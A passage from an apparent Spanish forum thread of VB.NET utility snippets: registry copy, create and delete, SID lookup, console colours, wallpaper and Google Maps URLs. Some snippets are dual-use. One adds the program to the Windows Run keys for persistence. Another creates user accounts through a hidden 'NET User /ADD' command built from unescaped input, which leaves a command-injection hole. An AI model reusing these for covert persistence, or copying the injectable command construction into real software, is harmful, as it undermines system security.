  8.    ' MsgBox(Win32Hex_To_Int(&H2S))  ' Result: 2
  9.    ' MsgBox(Win32Hex_To_Int(&HFF4)) ' 4084
  10.  
  11.    Private Function Win32Hex_To_Int(ByVal Win32Int As Int32) As Int32
  12.        Return CInt(Win32Int)
  13.    End Function
  14.  
  15. #End Region





Convertir un SID al nombre dle usuario o al dominio+nombre

Código
  1. #Region " Get SID UserName "
  2.  
  3.    ' [ Get SID UserName ]
  4.    '
  5.    ' Examples:
  6.    ' MsgBox(Get_SID_UserName("S-1-5-21-148789306-3749789949-2179752015-500")) ' Result: UserName
  7.    ' MsgBox(Get_SID_UserName("S-1-5-21-148789306-3749789949-2179752015-500")) ' Result: DomainName\UserName
  8.  
  9.    Private Declare Unicode Function ConvertStringSidToSidW Lib "advapi32.dll" (ByVal StringSID As String, ByRef SID As IntPtr) As Boolean
  10.    Private Declare Unicode Function LookupAccountSidW Lib "advapi32.dll" (ByVal lpSystemName As String, ByVal SID As IntPtr, ByVal Name As System.Text.StringBuilder, ByRef cbName As Long, ByVal DomainName As System.Text.StringBuilder, ByRef cbDomainName As Long, ByRef psUse As Integer) As Boolean
  11.  
  12.    Shared Function Get_SID_UserName(ByVal SID As String, Optional ByVal Get_Domain_Name As Boolean = False) As String
  13.  
  14.        Const size As Integer = 255
  15.        Dim domainName As String
  16.        Dim userName As String
  17.        Dim cbUserName As Long = size
  18.        Dim cbDomainName As Long = size
  19.        Dim ptrSID As New IntPtr(0)
  20.        Dim psUse As Integer = 0
  21.        Dim bufName As New System.Text.StringBuilder(size)
  22.        Dim bufDomain As New System.Text.StringBuilder(size)
  23.  
  24.        If ConvertStringSidToSidW(SID, ptrSID) Then
  25.            If LookupAccountSidW(String.Empty, _
  26.            ptrSID, bufName, _
  27.            cbUserName, bufDomain, _
  28.            cbDomainName, psUse) Then
  29.                userName = bufName.ToString
  30.                domainName = bufDomain.ToString
  31.                If Get_Domain_Name Then
  32.                    Return String.Format("{0}\{1}", domainName, userName)
  33.                Else
  34.                    Return userName
  35.                End If
  36.            Else
  37.                Return ""
  38.            End If
  39.        Else
  40.            Return ""
  41.        End If
  42.  
  43.    End Function
  44.  
  45. #End Region





 Copia una clave con sus subclaves y valores, a otro lugar del registro.


Código
  1. #Region " Reg Copy Key "
  2.  
  3.    ' [ Reg Copy Key Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Reg_Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", "7-zip")  ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip"
  8.    ' Reg_Copy_Key("HKCU", "Software", "7-Zip", Nothing, "Software", "7-zip") ' Copies "HKCU\Software\7-Zip" to "HKCU\Software\7-Zip"
  9.    ' Reg_Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", Nothing)  ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\"
  10.    ' Reg_Copy_Key("HKCU", "Software", "7-Zip", "HKLM", Nothing, Nothing)     ' Copies "HKCU\Software\7-Zip" to "HKLM\"
  11.    ' Reg_Copy_Key("HKCU", "\Software\", "\7-Zip\", "HKLM", "\Software\", "\7-zip\")  ' (Detects bad syntax) Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip"
  12.  
  13.    Private Function Reg_Copy_Key(ByVal OldRootKey As String, _
  14.                        ByVal OldPath As String, _
  15.                        ByVal OldName As String, _
  16.                        ByVal NewRootKey As String, _
  17.                        ByVal NewPath As String, _
  18.                        ByVal NewName As String) As Boolean
  19.  
  20.        If OldPath Is Nothing Then OldPath = ""
  21.        If NewRootKey Is Nothing Then NewRootKey = OldRootKey
  22.        If NewPath Is Nothing Then NewPath = ""
  23.        If NewName Is Nothing Then NewName = ""
  24.  
  25.        If OldRootKey.EndsWith("\") Then OldRootKey = OldRootKey.Substring(0, OldRootKey.Length - 1)
  26.        If NewRootKey.EndsWith("\") Then NewRootKey = NewRootKey.Substring(0, NewRootKey.Length - 1)
  27.  
  28.        If OldPath.StartsWith("\") Then OldPath = OldPath.Substring(1, OldPath.Length - 1)
  29.        If OldPath.EndsWith("\") Then OldPath = OldPath.Substring(0, OldPath.Length - 1)
  30.        If NewPath.StartsWith("\") Then NewPath = NewPath.Substring(1, NewPath.Length - 1)
  31.        If NewPath.EndsWith("\") Then NewPath = NewPath.Substring(0, NewPath.Length - 1)
  32.  
  33.        If OldName.StartsWith("\") Then OldName = OldName.Substring(1, OldName.Length - 1)
  34.        If OldName.EndsWith("\") Then OldName = OldName.Substring(0, OldName.Length - 1)
  35.        If NewName.StartsWith("\") Then NewName = NewName.Substring(1, NewName.Length - 1)
  36.        If NewName.EndsWith("\") Then NewName = NewName.Substring(0, NewName.Length - 1)
  37.  
  38.        Dim OrigRootKey As Microsoft.Win32.RegistryKey = Nothing
  39.        Dim DestRootKey As Microsoft.Win32.RegistryKey = Nothing
  40.  
  41.        Select Case OldRootKey.ToUpper
  42.            Case "HKCR", "HKEY_CLASSES_ROOT" : OrigRootKey = Microsoft.Win32.Registry.ClassesRoot
  43.            Case "HKCC", "HKEY_CURRENT_CONFIG" : OrigRootKey = Microsoft.Win32.Registry.CurrentConfig
  44.            Case "HKCU", "HKEY_CURRENT_USER" : OrigRootKey = Microsoft.Win32.Registry.CurrentUser
  45.            Case "HKLM", "HKEY_LOCAL_MACHINE" : OrigRootKey = Microsoft.Win32.Registry.LocalMachine
  46.            Case "HKEY_PERFORMANCE_DATA" : OrigRootKey = Microsoft.Win32.Registry.PerformanceData
  47.            Case Else : Return False
  48.        End Select
  49.  
  50.        Select Case NewRootKey.ToUpper
  51.            Case "HKCR", "HKEY_CLASSES_ROOT" : DestRootKey = Microsoft.Win32.Registry.ClassesRoot
  52.            Case "HKCC", "HKEY_CURRENT_CONFIG" : DestRootKey = Microsoft.Win32.Registry.CurrentConfig
  53.            Case "HKCU", "HKEY_CURRENT_USER" : DestRootKey = Microsoft.Win32.Registry.CurrentUser
  54.            Case "HKLM", "HKEY_LOCAL_MACHINE" : DestRootKey = Microsoft.Win32.Registry.LocalMachine
  55.            Case "HKEY_PERFORMANCE_DATA" : DestRootKey = Microsoft.Win32.Registry.PerformanceData
  56.            Case Else : Return False
  57.        End Select
  58.  
  59.        Dim oldkey As Microsoft.Win32.RegistryKey = OrigRootKey.OpenSubKey(OldPath + "\" + OldName, True)
  60.        Dim newkey As Microsoft.Win32.RegistryKey = DestRootKey.OpenSubKey(NewPath, True).CreateSubKey(NewName)
  61.        Reg_Copy_SubKeys(oldkey, newkey)
  62.        Return True
  63.    End Function
  64.  
  65.    Private Sub Reg_Copy_SubKeys(OrigKey As Microsoft.Win32.RegistryKey, DestKey As Microsoft.Win32.RegistryKey)
  66.  
  67.        Dim ValueNames As String() = OrigKey.GetValueNames()
  68.        Dim SubKeyNames As String() = OrigKey.GetSubKeyNames()
  69.  
  70.        For i As Integer = 0 To ValueNames.Length - 1
  71.            Application.DoEvents()
  72.            DestKey.SetValue(ValueNames(i), OrigKey.GetValue(ValueNames(i)))
  73.        Next
  74.  
  75.        For i As Integer = 0 To SubKeyNames.Length - 1
  76.            Application.DoEvents()
  77.            Reg_Copy_SubKeys(OrigKey.OpenSubKey(SubKeyNames(i), True), DestKey.CreateSubKey(SubKeyNames(i)))
  78.        Next
  79.  
  80.    End Sub
  81.  
  82. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 14:55 pm
Ejemplo de un comentário de sumário (o Method description):

Código
  1. Public Class MyClass
  2.  
  3.    ''' <summary>
  4.    ''' A description for this variable [Default: False].
  5.    ''' </summary>
  6.    Public Shared MyVariable As Boolean = False
  7.  
  8. End class





Ejemplo de un Select case para comparar 2 o más strings (el equivalente al OR):

Código
  1.        Select Case Variable.ToUpper
  2.            Case "HELLO"
  3.                MsgBox("You said HELLO.")
  4.            Case "BYE", "HASTALAVISTA"
  5.                MsgBox("You said BYE or HASTALAVISTA.")
  6.            Case Else
  7.                MsgBox("You said nothing.")
  8.        End Select





Concatenar texto en varios colores en la consola

Código
  1. #Region " Write Color Text "
  2.  
  3.    ' [ Write Color Text ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' Write_Color_Text("TestString A", ConsoleColor.Cyan)
  9.    ' Write_Color_Text(" + ", ConsoleColor.Green)
  10.    ' Write_Color_Text("TestString B" & vbNewLine, ConsoleColor.White, ConsoleColor.DarkRed)
  11.    ' Console.ReadLine()
  12.  
  13.    Private Sub Write_Color_Text(ByVal Text As String, _
  14.                                 Optional ByVal ForeColor As System.ConsoleColor = ConsoleColor.White, _
  15.                                 Optional ByVal BackColor As System.ConsoleColor = ConsoleColor.Black)
  16.  
  17.        Console.ForegroundColor = ForeColor
  18.        Console.BackgroundColor = BackColor
  19.        Console.Write(Text)
  20.        Console.ForegroundColor = ConsoleColor.White
  21.        Console.BackgroundColor = ConsoleColor.Black
  22.  
  23.    End Sub
  24.  
  25. #End Region





Añade la aplicación actual al inicio de sesión de windows:

Código
  1. #Region " Add Application To Startup "
  2.  
  3.    ' [ Add Application To Startup Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Add_Application_To_Startup(Startup_User.All_Users)
  9.    ' Add_Application_To_Startup(Startup_User.Current_User)
  10.    ' Add_Application_To_Startup(Startup_User.Current_User, "Application Name", """C:\ApplicationPath.exe""" & " -Arguments")
  11.  
  12.    Public Enum Startup_User
  13.        Current_User
  14.        All_Users
  15.    End Enum
  16.  
  17.    Private Function Add_Application_To_Startup(ByVal Startup_User As Startup_User, _
  18.                                            Optional ByVal Application_Name As String = Nothing, _
  19.                                            Optional ByVal Application_Path As String = Nothing) As Boolean
  20.  
  21.        If Application_Name Is Nothing Then Application_Name = Process.GetCurrentProcess().MainModule.ModuleName
  22.        If Application_Path Is Nothing Then Application_Path = Application.ExecutablePath
  23.  
  24.        Try
  25.            Select Case Startup_User
  26.                Case Startup_User.All_Users
  27.                    My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", Application_Name, Application_Path, Microsoft.Win32.RegistryValueKind.String)
  28.                Case Startup_User.Current_User
  29.                    My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", Application_Name, Application_Path, Microsoft.Win32.RegistryValueKind.String)
  30.            End Select
  31.        Catch ex As Exception
  32.            ' Throw New Exception(ex.Message)
  33.            Return False
  34.        End Try
  35.        Return True
  36.  
  37.    End Function
  38.  
  39. #End Region





Convierte un array de bytes a string


Código
  1.    #Region " Byte-Array To String "
  2.  
  3.    ' [  Byte-Array To String Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Dim Bytes() As Byte = {84, 101, 115, 116} ' T, e, s, t
  9.    ' MsgBox(Byte_Array_To_String(Bytes))       ' Result: Test
  10.  
  11.    Private Function Byte_Array_To_String(ByVal Byte_Array As Byte()) As String
  12.        Return System.Text.Encoding.ASCII.GetString(Byte_Array)
  13.    End Function
  14.  
  15.    #End Region





Convierte un string a aray de bytes


Código
  1.    #Region " String to Byte-Array "
  2.  
  3.    ' [ String to Byte-Array Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Dim Bytes() As Byte = String_to_Byte_Array("Test") ' Byte = {84, 101, 115, 116}
  9.  
  10.    Private Function String_to_Byte_Array(ByVal Text As String) As Byte()
  11.        Return System.Text.Encoding.ASCII.GetBytes(Text)
  12.    End Function
  13.  
  14.    #End Region





Añade una cuenta de usuario al sistema:


Código
  1. #Region " Add User Account "
  2.  
  3.    ' [ Add User Account Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Add_User_Account("New User"))
  9.    ' Add_User_Account("New User", "MyPass")
  10.  
  11.    Private Function Add_User_Account(ByVal UserName As String, Optional ByVal Password As String = Nothing) As Boolean
  12.        Dim Net_User As New Process()
  13.        Dim Net_User_Info As New ProcessStartInfo()
  14.  
  15.        Net_User_Info.FileName = "CMD.exe"
  16.        Net_User_Info.Arguments = "/C NET User " & "" & UserName & "" & " " & "" & Password & "" & " /ADD"
  17.        Net_User_Info.WindowStyle = ProcessWindowStyle.Hidden
  18.        Net_User.StartInfo = Net_User_Info
  19.        Net_User.Start()
  20.        Net_User.WaitForExit()
  21.  
  22.        Select Case Net_User.ExitCode
  23.            Case 0 : Return True     ' Account created
  24.            Case 2 : Return False    ' Account already exist
  25.            Case Else : Return False ' Unknown error
  26.        End Select
  27.  
  28.    End Function
  29.  
  30. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 15:05 pm
Devuelve el formato de una URL de una localización de Google Maps

Código
  1. #Region " Get Google Maps URL "
  2.  
  3.    ' [ Get Google Maps URL Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Get_Google_Maps_URL("Valencia", "España")) ' Result: "http://Maps.google.com/?q=Valencia,+España,+"
  10.    ' WebBrowser1.Navigate(Get_Google_Maps_URL("Valencia", "Spain"))
  11.  
  12.    Private Function Get_Google_Maps_URL(Optional ByVal City As String = Nothing, _
  13.                                Optional ByVal State As String = Nothing, _
  14.                                Optional ByVal Street As String = Nothing, _
  15.                                Optional ByVal Zipcode As String = Nothing) As String
  16.  
  17.        Dim queryAddress As New System.Text.StringBuilder()
  18.        queryAddress.Append("http://Maps.google.com/?q=")
  19.  
  20.        ' Build street part of query string
  21.        If Street IsNot Nothing Then
  22.            Street = Street.Replace(" ", "+")
  23.            queryAddress.Append(Street + "," & "+")
  24.        End If
  25.  
  26.        ' Build city part of query string
  27.        If City IsNot Nothing Then
  28.            City = City.Replace(" ", "+")
  29.            queryAddress.Append(City + "," & "+")
  30.        End If
  31.  
  32.        ' Build state part of query string
  33.        If State IsNot Nothing Then
  34.            State = State.Replace(" ", "+")
  35.            queryAddress.Append(State + "," & "+")
  36.        End If
  37.  
  38.        ' Build zip code part of query string
  39.        If Zipcode IsNot Nothing Then
  40.            queryAddress.Append(Zipcode)
  41.        End If
  42.  
  43.        ' Return the URL
  44.        Return queryAddress.ToString
  45.  
  46.    End Function
  47.  
  48. #End Region





Devuelve la URL de una localización de Google Maps (Por coordenadas)

Código
  1. #Region " Get Google Maps Coordinates URL "
  2.  
  3.       ' [ Get Google Maps Coordinates URL Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Get_Google_Maps_Coordinates_URL(39.4767, 0.3744)) ' Result: http://Maps.google.com/?q=39.4767%2C0.3744
  9.    ' webBrowser1.Navigate(Get_Google_Maps_Coordinates_URL(39.4767, 0.3744))
  10.  
  11.    Private Function Get_Google_Maps_Coordinates_URL(ByVal Latitude As Double, ByVal Longitude As Double) As String
  12.  
  13.        Dim queryAddress As New System.Text.StringBuilder()
  14.        queryAddress.Append("http://Maps.google.com/?q=")
  15.  
  16.        ' Build latitude part of query string
  17.        queryAddress.Append(Latitude.ToString.Replace(",", ".") + "%2C")
  18.  
  19.        ' Build longitude part of query string
  20.        queryAddress.Append(Longitude.ToString.Replace(",", "."))
  21.  
  22.        ' Return the URL
  23.        Return queryAddress.ToString
  24.  
  25.    End Function



Crear un archivo Dummy

Código
  1. #Region " Make Dummy File "
  2.  
  3.    ' [ Make Dummy File Function ]
  4.    '
  5.    ' Examples :
  6.    ' Make_Dummy_File("C:\Test.dummy", 100) ' Creates a dummy file of 100 bytes
  7.  
  8.    Private Function Make_Dummy_File(ByVal File As String, ByVal Size As Int64) As Boolean
  9.        Try
  10.            Using DummyFile As New IO.FileStream(File, IO.FileMode.Create)
  11.                DummyFile.SetLength(Size)
  12.            End Using
  13.        Catch ex As Exception
  14.            ' MsgBox(ex.Message)
  15.            Return False
  16.        End Try
  17.        Return True
  18.    End Function
  19.  
  20. #End Region





Cambiar el fondo de pantalla

Código
  1. #Region " Set Desktop Wallpaper "
  2.  
  3.    ' [ Set Desktop Wallpaper Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Wallpaper.SupportFitFillWallpaperStyles)
  7.    ' MsgBox(Wallpaper.SupportJpgAsWallpaper)
  8.    ' Set_Desktop_Wallpaper("C:\Image.jpg", WallpaperStyle.Fill)
  9.  
  10.    Private Function Set_Desktop_Wallpaper(ByVal Image As String, ByVal Style As WallpaperStyle) As Boolean
  11.        Try
  12.            If Wallpaper.SupportFitFillWallpaperStyles AndAlso Wallpaper.SupportJpgAsWallpaper Then
  13.                Wallpaper.SetDesktopWallpaper(Image, Style)
  14.            End If
  15.        Catch ex As Exception
  16.            MsgBox(ex.Message)
  17.            Return False
  18.        End Try
  19.        Return True
  20.    End Function
  21.  
  22.    ' Wallpaper.vb Class
  23. #Region " Wallpaper Class "
  24.  
  25.    '*********************************** Module Header ***********************************'
  26.    ' Module Name:  Wallpaper.vb
  27.    ' Project:      VBSetDesktopWallpaper
  28.    ' Copyright (c) Microsoft Corporation.
  29.    '
  30.    ' Wallpaper.SetDesktopWallpaper(ByVal path As String, ByVal style As WallpaperStyle)
  31.    '
  32.    ' This is the key method that sets the desktop wallpaper. The method body is composed
  33.    ' of configuring the wallpaper style in the registry and setting the wallpaper with
  34.    ' SystemParametersInfo.
  35.    '
  36.    '*************************************************************************************'
  37.  
  38. Imports Microsoft.Win32
  39. Imports System.Environment
  40. Imports System.Drawing.Imaging
  41. Imports System.ComponentModel
  42. Imports System.Runtime.InteropServices
  43.  
  44.  
  45.    Public Class Wallpaper
  46.  
  47.        ''' <summary>
  48.        ''' Determine if .jpg files are supported as wallpaper in the current
  49.        ''' operating system. The .jpg wallpapers are not supported before
  50.        ''' Windows Vista.
  51.        ''' </summary>
  52.        Public Shared ReadOnly Property SupportJpgAsWallpaper()
  53.            Get
  54.                Return (Environment.OSVersion.Version >= New Version(6, 0))
  55.            End Get
  56.        End Property
  57.  
  58.  
  59.        ''' <summary>
  60.        ''' Determine if the fit and fill wallpaper styles are supported in the
  61.        ''' current operating system. The styles are not supported before
  62.        ''' Windows 7.
  63.        ''' </summary>
  64.        Public Shared ReadOnly Property SupportFitFillWallpaperStyles()
  65.            Get
  66.                Return (Environment.OSVersion.Version >= New Version(6, 1))
  67.            End Get
  68.        End Property
  69.  
  70.  
  71.        ''' <summary>
  72.        ''' Set the desktop wallpaper.
  73.        ''' </summary>
  74.        ''' <param name="path">Path of the wallpaper</param>
  75.        ''' <param name="style">Wallpaper style</param>
  76.        Public Shared Sub SetDesktopWallpaper(ByVal path As String, ByVal style As WallpaperStyle)
  77.  
  78.            ' Set the wallpaper style and tile.
  79.            ' Two registry values are set in the Control Panel\Desktop key.
  80.            ' TileWallpaper
  81.            '  0: The wallpaper picture should not be tiled
  82.            '  1: The wallpaper picture should be tiled
  83.            ' WallpaperStyle
  84.            '  0:  The image is centered if TileWallpaper=0 or tiled if TileWallpaper=1
  85.            '  2:  The image is stretched to fill the screen
  86.            '  6:  The image is resized to fit the screen while maintaining the aspect
  87.            '      ratio. (Windows 7 and later)
  88.            '  10: The image is resized and cropped to fill the screen while
  89.            '      maintaining the aspect ratio. (Windows 7 and later)
  90.            Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Control Panel\Desktop", True)
  91.  
  92.            Select Case style
  93.                Case WallpaperStyle.Tile
  94.                    key.SetValue("WallpaperStyle", "0")
  95.                    key.SetValue("TileWallpaper", "1")
  96.                    Exit Select
  97.                Case WallpaperStyle.Center
  98.                    key.SetValue("WallpaperStyle", "0")
  99.                    key.SetValue("TileWallpaper", "0")
  100.                    Exit Select
  101.                Case WallpaperStyle.Stretch
  102.                    key.SetValue("WallpaperStyle", "2")
  103.                    key.SetValue("TileWallpaper", "0")
  104.                    Exit Select
  105.                Case WallpaperStyle.Fit ' (Windows 7 and later)
  106.                    key.SetValue("WallpaperStyle", "6")
  107.                    key.SetValue("TileWallpaper", "0")
  108.                    Exit Select
  109.                Case WallpaperStyle.Fill ' (Windows 7 and later)
  110.                    key.SetValue("WallpaperStyle", "10")
  111.                    key.SetValue("TileWallpaper", "0")
  112.                    Exit Select
  113.            End Select
  114.  
  115.            key.Close()
  116.  
  117.  
  118.            ' If the specified image file is neither .bmp nor .jpg, - or -
  119.            ' if the image is a .jpg file but the operating system is Windows Server
  120.            ' 2003 or Windows XP/2000 that does not support .jpg as the desktop
  121.            ' wallpaper, convert the image file to .bmp and save it to the
  122.            '  %appdata%\Microsoft\Windows\Themes folder.
  123.            Dim ext As String = System.IO.Path.GetExtension(path)
  124.            If ((Not ext.Equals(".bmp", StringComparison.OrdinalIgnoreCase) AndAlso _
  125.                 Not ext.Equals(".jpg", StringComparison.OrdinalIgnoreCase)) _
  126.                OrElse _
  127.                (ext.Equals(".jpg", StringComparison.OrdinalIgnoreCase) AndAlso _
  128.                (Not SupportJpgAsWallpaper))) Then
  129.  
  130.                Using image As Image = image.FromFile(path)
  131.                    path = String.Format("{0}\Microsoft\Windows\Themes\{1}.bmp", _
  132.                        Environment.GetFolderPath(SpecialFolder.ApplicationData), _
  133.                        System.IO.Path.GetFileNameWithoutExtension(path))
  134.                    image.Save(path, ImageFormat.Bmp)
  135.                End Using
  136.  
  137.            End If
  138.  
  139.            ' Set the desktop wallpapaer by calling the Win32 API SystemParametersInfo
  140.            ' with the SPI_SETDESKWALLPAPER desktop parameter. The changes should
  141.            ' persist, and also be immediately visible.
  142.            If Not Wallpaper.SystemParametersInfo(20, 0, path, 3) Then
  143.                Throw New Win32Exception
  144.            End If
  145.        End Sub
  146.  
  147.  
  148.        <DllImport("user32.dll", CharSet:=CharSet.Unicode, SetLastError:=True)> _
  149.        Private Shared Function SystemParametersInfo( _
  150.        ByVal uiAction As UInt32, _
  151.        ByVal uiParam As UInt32, _
  152.        ByVal pvParam As String, _
  153.        ByVal fWinIni As UInt32) _
  154.        As <MarshalAs(UnmanagedType.Bool)> Boolean
  155.        End Function
  156.  
  157.        Private Const SPI_SETDESKWALLPAPER As UInt32 = 20
  158.        Private Const SPIF_SENDWININICHANGE As UInt32 = 2
  159.        Private Const SPIF_UPDATEINIFILE As UInt32 = 1
  160.    End Class
  161.  
  162.  
  163.    Public Enum WallpaperStyle
  164.        Tile
  165.        Center
  166.        Stretch
  167.        Fit
  168.        Fill
  169.    End Enum
  170. #End Region
  171.  
  172. #End Region





Centrar el Form a la pantalla del escritorio

Código
  1. #Region " Center Form To Desktop "
  2.  
  3.    ' [ Center Form To Desktop ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Center_Form_To_Desktop(Me)
  9.  
  10.    Private Sub Center_Form_To_Desktop(ByVal Form As Form)
  11.        Dim Desktop_RES As System.Windows.Forms.Screen = System.Windows.Forms.Screen.PrimaryScreen
  12.        Me.Location = New Point((Desktop_RES.Bounds.Width - Form.Width) / 2, (Desktop_RES.Bounds.Height - Form.Height) / 2)
  13.    End Sub
  14.  
  15. #End Region





Comprobar si ya hay abierta una instancia de la aplicación:


Código
  1. #Region " My Application Is Already Running "
  2.  
  3.    ' [ My Application Is Already Running Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(My_Application_Is_Already_Running)
  9.    ' If My_Application_Is_Already_Running() Then Application.Exit()
  10.  
  11.    Public Declare Function CreateMutexA Lib "Kernel32.dll" (ByVal lpSecurityAttributes As Integer, ByVal bInitialOwner As Boolean, ByVal lpName As String) As Integer
  12.    Public Declare Function GetLastError Lib "Kernel32.dll" () As Integer
  13.  
  14.    Public Function My_Application_Is_Already_Running() As Boolean
  15.        'Attempt to create defualt mutex owned by process
  16.        CreateMutexA(0, True, Process.GetCurrentProcess().MainModule.ModuleName.ToString)
  17.        Return (GetLastError() = 183) ' 183 = ERROR_ALREADY_EXISTS
  18.    End Function
  19.  
  20. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 15:09 pm
Los snippets que posteé hace tiempo para hacer modificaciones en el registro, los he optimizado para simplificar su uso y evitar errores de sintaxis.
PD: Ahora permite añadir datos binários.

Código
  1. #Region " Reg Create Key "
  2.  
  3.    ' [ Reg Create Key Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Reg_Create_Key("HKCU\Software\MyProgram")                        ' Creates "HKCU\Software\MyProgram"
  10.    ' Reg_Create_Key("HKEY_CURRENT_USER\Software\MyProgram\Settings\") ' Creates "HKCU\Software\MyProgram\Settings"
  11.  
  12.    Public Function Reg_Create_Key(ByVal RegKey As String) As Boolean
  13.  
  14.        Dim RootKey As Microsoft.Win32.RegistryKey = Nothing
  15.        Dim KeyPath As String = Nothing
  16.  
  17.        ' Gets the RootKey
  18.        Select Case RegKey.ToUpper.Split("\").First
  19.            Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = Microsoft.Win32.Registry.ClassesRoot
  20.            Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = Microsoft.Win32.Registry.CurrentConfig
  21.            Case "HKCU", "HKEY_CURRENT_USER" : RootKey = Microsoft.Win32.Registry.CurrentUser
  22.            Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = Microsoft.Win32.Registry.LocalMachine
  23.            Case "HKEY_PERFORMANCE_DATA" : RootKey = Microsoft.Win32.Registry.PerformanceData
  24.            Case Else : Return False
  25.        End Select
  26.  
  27.        ' Gets the KeyPath
  28.        For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next
  29.        KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\"))
  30.  
  31.        Try
  32.            RootKey.CreateSubKey(KeyPath)
  33.            RootKey.Close()
  34.            Return True
  35.        Catch ex As Exception
  36.            Throw New Exception(ex.Message)
  37.        End Try
  38.  
  39.    End Function
  40.  
  41. #End Region


Código
  1. #Region " Reg Delete Key "
  2.  
  3.    ' [ Reg Delete Key Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Reg_Delete_Key("HKLM\Software\7-zip")                ' Deletes the "7-zip" tree including subkeys
  9.    ' Reg_Delete_Key("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Deletes the "7-zip" tree including subkeys
  10.  
  11.    Public Function Reg_Delete_Key(ByVal RegKey As String) As Boolean
  12.  
  13.        Dim RootKey As Microsoft.Win32.RegistryKey = Nothing
  14.        Dim KeyPath As String = Nothing
  15.  
  16.        ' Gets the RootKey
  17.        Select Case RegKey.ToUpper.Split("\").First
  18.            Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = Microsoft.Win32.Registry.ClassesRoot
  19.            Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = Microsoft.Win32.Registry.CurrentConfig
  20.            Case "HKCU", "HKEY_CURRENT_USER" : RootKey = Microsoft.Win32.Registry.CurrentUser
  21.            Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = Microsoft.Win32.Registry.LocalMachine
  22.            Case "HKEY_PERFORMANCE_DATA" : RootKey = Microsoft.Win32.Registry.PerformanceData
  23.            Case Else : Return False
  24.        End Select
  25.  
  26.        ' Gets the KeyPath
  27.        For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next
  28.        KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\"))
  29.  
  30.        Try
  31.            RootKey.DeleteSubKeyTree(KeyPath)
  32.            RootKey.Close()
  33.            Return True
  34.        Catch ex As Exception
  35.            ' Throw New Exception(ex.Message)
  36.            Return False
  37.        End Try
  38.  
  39.    End Function
  40.  
  41. #End Region


Código
  1. #Region " Reg Delete Value "
  2.  
  3.    ' [ Reg Delete Value Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Reg_Delete_Value("HKCU\Software\7-Zip", "Lang")               ' Deletes "Lang" Value
  9.    ' Reg_Delete_Value("HKEY_CURRENT_USER\Software\7-Zip\", "Lang") ' Deletes "Lang" Value
  10.  
  11.    Public Function Reg_Delete_Value(ByVal RegKey As String, ByVal RegValue As String) As Boolean
  12.  
  13.        Dim RootKey As Microsoft.Win32.RegistryKey = Nothing
  14.        Dim KeyPath As String = Nothing
  15.  
  16.        ' Gets the RootKey
  17.        Select Case RegKey.ToUpper.Split("\").First
  18.            Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = Microsoft.Win32.Registry.ClassesRoot
  19.            Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = Microsoft.Win32.Registry.CurrentConfig
  20.            Case "HKCU", "HKEY_CURRENT_USER" : RootKey = Microsoft.Win32.Registry.CurrentUser
  21.            Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = Microsoft.Win32.Registry.LocalMachine
  22.            Case "HKEY_PERFORMANCE_DATA" : RootKey = Microsoft.Win32.Registry.PerformanceData
  23.            Case Else : Return False
  24.        End Select
  25.  
  26.        ' Gets the KeyPath
  27.        For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next
  28.        KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\"))
  29.  
  30.        Try
  31.            RootKey.OpenSubKey(KeyPath, True).DeleteValue(RegValue)
  32.            RootKey.Close()
  33.            Return True
  34.        Catch ex As Exception
  35.            ' Throw New Exception(ex.Message)
  36.            Return False
  37.        End Try
  38.  
  39.    End Function
  40.  
  41. #End Region


Código
  1. #Region " Reg Set Value "
  2.  
